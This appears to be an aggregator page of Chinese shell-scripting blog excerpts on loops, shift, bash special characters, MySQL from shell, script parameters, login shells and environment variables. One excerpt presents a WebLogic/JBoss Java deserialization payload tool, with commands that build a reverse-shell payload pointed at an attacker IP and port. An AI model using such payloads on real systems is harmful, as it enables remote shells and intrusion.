shell脚本

Unix系列shell程序编写从入门到精通(下)

落爺英雄遲暮 提交于 2019-12-07 10:21:38
Until语句 While语句中,只要某条件为真,则重复执行循环代码,until语句正好同while相反,该语句使循环代码重复执行,直到遇到某一条件为真才停止。 Until语句的结构如下: until command do command command … … done 可以用until语句替换上面备份程序的while语句,完成同样的功能: until [ $ANS != Y -a $ANS != y ] for 循环 在介绍for循环之前,我们要学个非常有用的unix命令:shift。我们知道,对于位置变量或命令行参数,其个数必须是确定的,或者当Shell程 序不知道其个数时,可以把所有参数一起赋值给变量$*。若用户要求Shell在不知道位置变量个数的情况下,还能逐个的把参数一一处理,也就是在$1后 为$2,在$2后面为$3等。在 shift命令执行前变量$1的值在shift命令执行后就不可用了。 示例如下: #测试shift命令(x_shift.sh) until [ $# -eq 0 ] do echo "第一个参数为: $1 参数个数为: $#" shift done 执行以上程序x_shift.sh: $./x_shift.sh 1 2 3 4 结果显示如下: 第一个参数为: 1 参数个数为: 3 第一个参数为: 2 参数个数为: 2 第一个参数为: 3 参数个数为:

linux bash shell 特殊字符大全

北城以北 提交于 2019-12-07 03:42:48
Linux下无论如何都是要用到shell命令的,在Shell的实际使用中,有编程经验的很容易上手,但稍微有难度的是shell里面的那些个符号,各种特殊的符号在我们编写Shell脚本的时候如果能够用的好,往往能给我们起到事半功倍的效果,为此,特地将Shell里面的一些符号说明罗列成对照表的形式,以便快速的查找。看看你知道下表中的哪些Shell符号呢? Shell符号及各种解释对照表: Shell符号 使用方法及说明 # 注释符号(Hashmark[Comments]) 1.在shell文件的行首,作为shebang标记,#!/bin/bash; 2. 其他地方作为注释使用,在一行中,#后面的内容并不会被执行,除非; 3. 但是用单/双引号包围时,#作为#号字符本身,不具有注释作用。 ; 作为多语句的分隔符(Command separator [semicolon])。 多个语句要放在同一行的时候,可以使用分号分隔。注意,有时候分号需要转义。 ;; 连续分号(Terminator [double semicolon])。 在使用case选项的时候,作为每个选项的终结符。在Bash version 4+ 的时候,还可以使用[;;&], [;&] . 点号(dot command [period])。 1. 相当于bash内建命令source,如: #!/bin/bash . data

shell 处理mysql的增删改查

假如想象 提交于 2019-12-07 02:51:45
引言 这几天做一个任务,比对两个数据表中的数据,今天写个shell版本的,这样,在所有linux系列机器上就都可以运行了。 shell是如何操作mysql的? shell操作mysql其实就是通过mysql命令通过参数去执行语句,跟其他程序里面是一样的,看看下面这个参数: -e, --execute=name Execute command and quit. (Disables --force and history file.) 因此我们可以通过mysql -e来执行语句,就像下面这样: mysql -hlocalhost -P3306 -uroot -p123456 $test --default-character-set=utf8 -e "select * from users" 执行之后返回下面结果: 在shell脚本中操作mysql 导出数据 MYSQL="mysql -h192.168.1.102 -uroot -p123456 --default-character-set=utf8 -A -N" #这里面有两个参数,-A、-N,-A的含义是不去预读全部数据表信息,这样可以解决在数据表很多的时候卡死的问题 #-N,很简单,Don't write column names in results,获取的数据信息省去列名称 sql="select * from test

Java反序列化漏洞之Weblogic、Jboss利用之payload生成工具

梦想的初衷 提交于 2019-12-07 01:26:41
为了方便小伙伴们使用,我导出了两个jar包,分别用于制作反弹shell的payload和测试的payload。 使用方法和利用方法请仔细看下面的截图: 1、制作反弹shell的payload并利用: 命令: java -jar makeshell.jar 你的IP 监听端口 payload名 如: java -jar makeshell.jar 202.112.221.32 8888 D:\\java\\shellpayload 1、制作POC的payload并利用: 命令: java -jar makepoc.jar 请求的URL payload名 如: java -jar makpoc.jar http://www.xxxxx.org/xxooxxooxxoo.txt D:\\java\\pocpayload 脚本下载: http://pan.baidu.com/s/1hrfjdDM 仅供运维测试漏洞,请勿非法使用,否则后果自负! 来源: CSDN 作者: aaa0404524 链接: https://blog.csdn.net/aaa0404524/article/details/50655443

Shell脚本入门-4

大城市里の小女人 提交于 2019-12-06 23:32:09
我们可以在执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为: $n 。 n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推…… 实例 以下实例我们向脚本传递三个参数,并分别输出,其中 $0 为执行的文件名: #!/bin/bash # author:ethan # url:www.runoob.com echo "Shell 传递参数实例!"; echo "执行的文件名:$0"; echo "第一个参数为:$1"; echo "第二个参数为:$2"; echo "第三个参数为:$3"; 为脚本设置可执行权限,并执行脚本,输出结果如下所示: $ chmod +x test.sh $ ./test.sh 1 2 3 Shell 传递参数实例! 执行的文件名:./test.sh 第一个参数为:1 第二个参数为:2 第三个参数为:3 另外,还有几个特殊字符用来处理参数: 参数处理 说明 $# 传递到脚本的参数个数 $* 以一个单字符串显示所有向脚本传递的参数。 如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。 $$ 脚本运行的当前进程ID号 $! 后台运行的最后一个进程的ID号 $@ 与$*相同,但是使用时加引号,并在引号中返回每个参数。 如"$@"用「"」括起来的情况、以"$1" "$2" … "$n"

shell的运行模式

ぐ巨炮叔叔 提交于 2019-12-06 23:31:46
一、什么是登陆shell?什么是非登陆shell? 1、登陆shell是指: (1)用户登陆时,输入用户名和密码后启动的shell; (2)通过带--login参数的命令:bash --login而启动的shell。 2、非登录shell指: 用户登录后,直接运行bash命令启动的shell。 3、对于用户来说,登陆shell和非登陆shell的主要区别是:启动shell时所执行的startup文件不同。 (1)登录shell的启动文件是/etc/profile、~/.bash_profile (2) 非登录shell的启动文件是~/.bashrc 二、bash的运行模式 交互式shell 交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。 这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当你签退后,shell也终止了。 交互式模式又分为四种类型:login,非login,posix以及受限的shell. 确定一个shell是否是交互式的可以通过检测$PS1环境变量. (1) 当Bash作为login shell被激活时,它将依次读取并执行以下文件: /etc/profile,~/.bash_profile,~/.bash_login,~/.profile 使用-

如何快速生成一个shell脚本?

 ̄綄美尐妖づ 提交于 2019-12-06 22:05:35
脚本如下 #!/usr/bin/env bash [[ -n $DEBUG ]] && set -x set -eou pipefail useage(){ cat <<HELP USAGE: $(basename $0) scriptpath scriptargs... HELP } exit_err() { echo >&2 "${1}" exit 1 } if [ $# -lt 1 ];then useage exit 1 fi SCRIPTPATH=$1 SCRIPTNAME=$(basename "${SCRIPTPATH}") shift 1 SCRIPTARGS=$* SCRIPTARGNUM=$# cat > "${SCRIPTPATH}" <<EOFFF #!/usr/bin/env bash [[ -n \$DEBUG ]] && set -x set -eou pipefail useage(){ cat <<HELP USAGE: ${SCRIPTNAME} ${SCRIPTARGS} HELP } exit_err() { echo >&2 "\${1}" exit 1 } if [ \$# -lt ${SCRIPTARGNUM} ];then useage exit 1 fi EOFFF i=1 for ARG in ${SCRIPTARGS};do

Shell

喜欢而已 提交于 2019-12-06 21:23:30
1.什么是Shell 能够操作应用程序的接口都能成为壳程序。壳程序的功能只是提供用户操作系统的一个接口。让这些应用程序来呼叫核心来运作所需的工作。 2.使用者何时取得shell,预设使用哪一个shell? 登入的时候,系统就会给我一个shell。预设的shell在/etc/passwd中。 3.Bash shell的功能 1)记录历史指令,即在.bash_history 记录的是前一次登陆以前所执行的指令,这一次执行的指令都被暂存在内存中,成功的注销系统后,该指令记忆才会记录到.bash_history当中。可以查询曾经做过的举动 2)命令与文件补全功能【tab】 【tab】在一串指令的第一个字的后面,则为命令补全 【tab】在一串指令的第二个字以后,则为文件补全 若安装bash-completion软件,则在某些指令后面使用【tab】按键时,可以进行选项、参数的补齐功能。 例如:想知道环境中以c为开头的指令,按下c【tab】【tab】 3)命令别名设定 alias:取得目前命令的别名 设定别名: alias lm ='ls -al' 4)工作控制,前景背景控制 5)程序化脚本(shell scripts) 6)通配符(Wildcard) 4.查询指令是否为bash shell的內建指令 7)指令的下达与快速编辑按钮 \【Enter】 换行接着输入 【ctrl】+u 【ctrl】

bash启动时加载配置文件过程

半腔热情 提交于 2019-12-06 20:53:31
当用户登录系统时,会加载各种bash配置文件,还会设置或清空一系列变量,有时还会执行一些自定义的命令。这些行为都算是启动bash时的过程。 另外,有些时候登录系统是可以交互的(如正常登录系统),有些时候是无交互的(如执行一个脚本),因此总的来说bash启动类型可分为交互式shell和非交互式shell。更细分一层,交互式shell还分为交互式的登录shell和交互式非登录shell,非交互的shell在某些时候可以在bash命令后带上"--login"或短选项"-l",这时也算是登录式,即非交互的登录式shell。 判断是否交互式、是否登录式                         判断是否为交互式shell有两种简单的方法: 方法一:判断变量"-",如果值中含有字母"i",表示交互式。 [root@localhost ~]# echo $- himBH [root@localhost ~]# vim a.sh #!/bin/bash echo $- [root@localhost ~]# bash a.sh hB 方法二:判断变量PS1,如果值非空,则为交互式,否则为非交互式,因为非交互式会清空该变量。 [root@localhost ~]# echo $PS1 [\u@\h \W]\$ 判断是否为登录式的方法也很简单,只需执行"shopt login_shell"即可

SHELL脚本--变量

只愿长相守 提交于 2019-12-06 20:03:28
环境变量                     环境变量就是运行在"环境"上下文的,在这个上下文都可以引用。例如,常见的cd、ls等命令严格来说应该使用绝对路径如/bin/ls来执行,由于/bin目录加入到了PATH环境变量中,系统自己会去寻找PATH下的路径是否有该命令。 环境变量常用大写字母表示。常见的环境变量有HOSTNAME、SHELL、HISTSIZE、USER、PATH、PWD、LANG、HOME、LOGNAME。分别表示当前主机名、SHELL的路径即bash的类型、history保存多少记录、当前用户名、自动搜索路径、当前目录、使用的语系(临时修改语系时就改这个变量)、当前用户的家目录、当前登录的用户。 使用env或者export可以查看当前用户的环境变量。 [root@localhost ~]# env HOSTNAME=localhost.localdomain TERM=vt100 SHELL=/bin/bash HISTSIZE=1000 SSH_CLIENT=192.168.1.5 50651 22 QTDIR=/usr/lib64/qt-3.3 QTINC=/usr/lib64/qt-3.3/include SSH_TTY=/dev/pts/0 USER=root LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40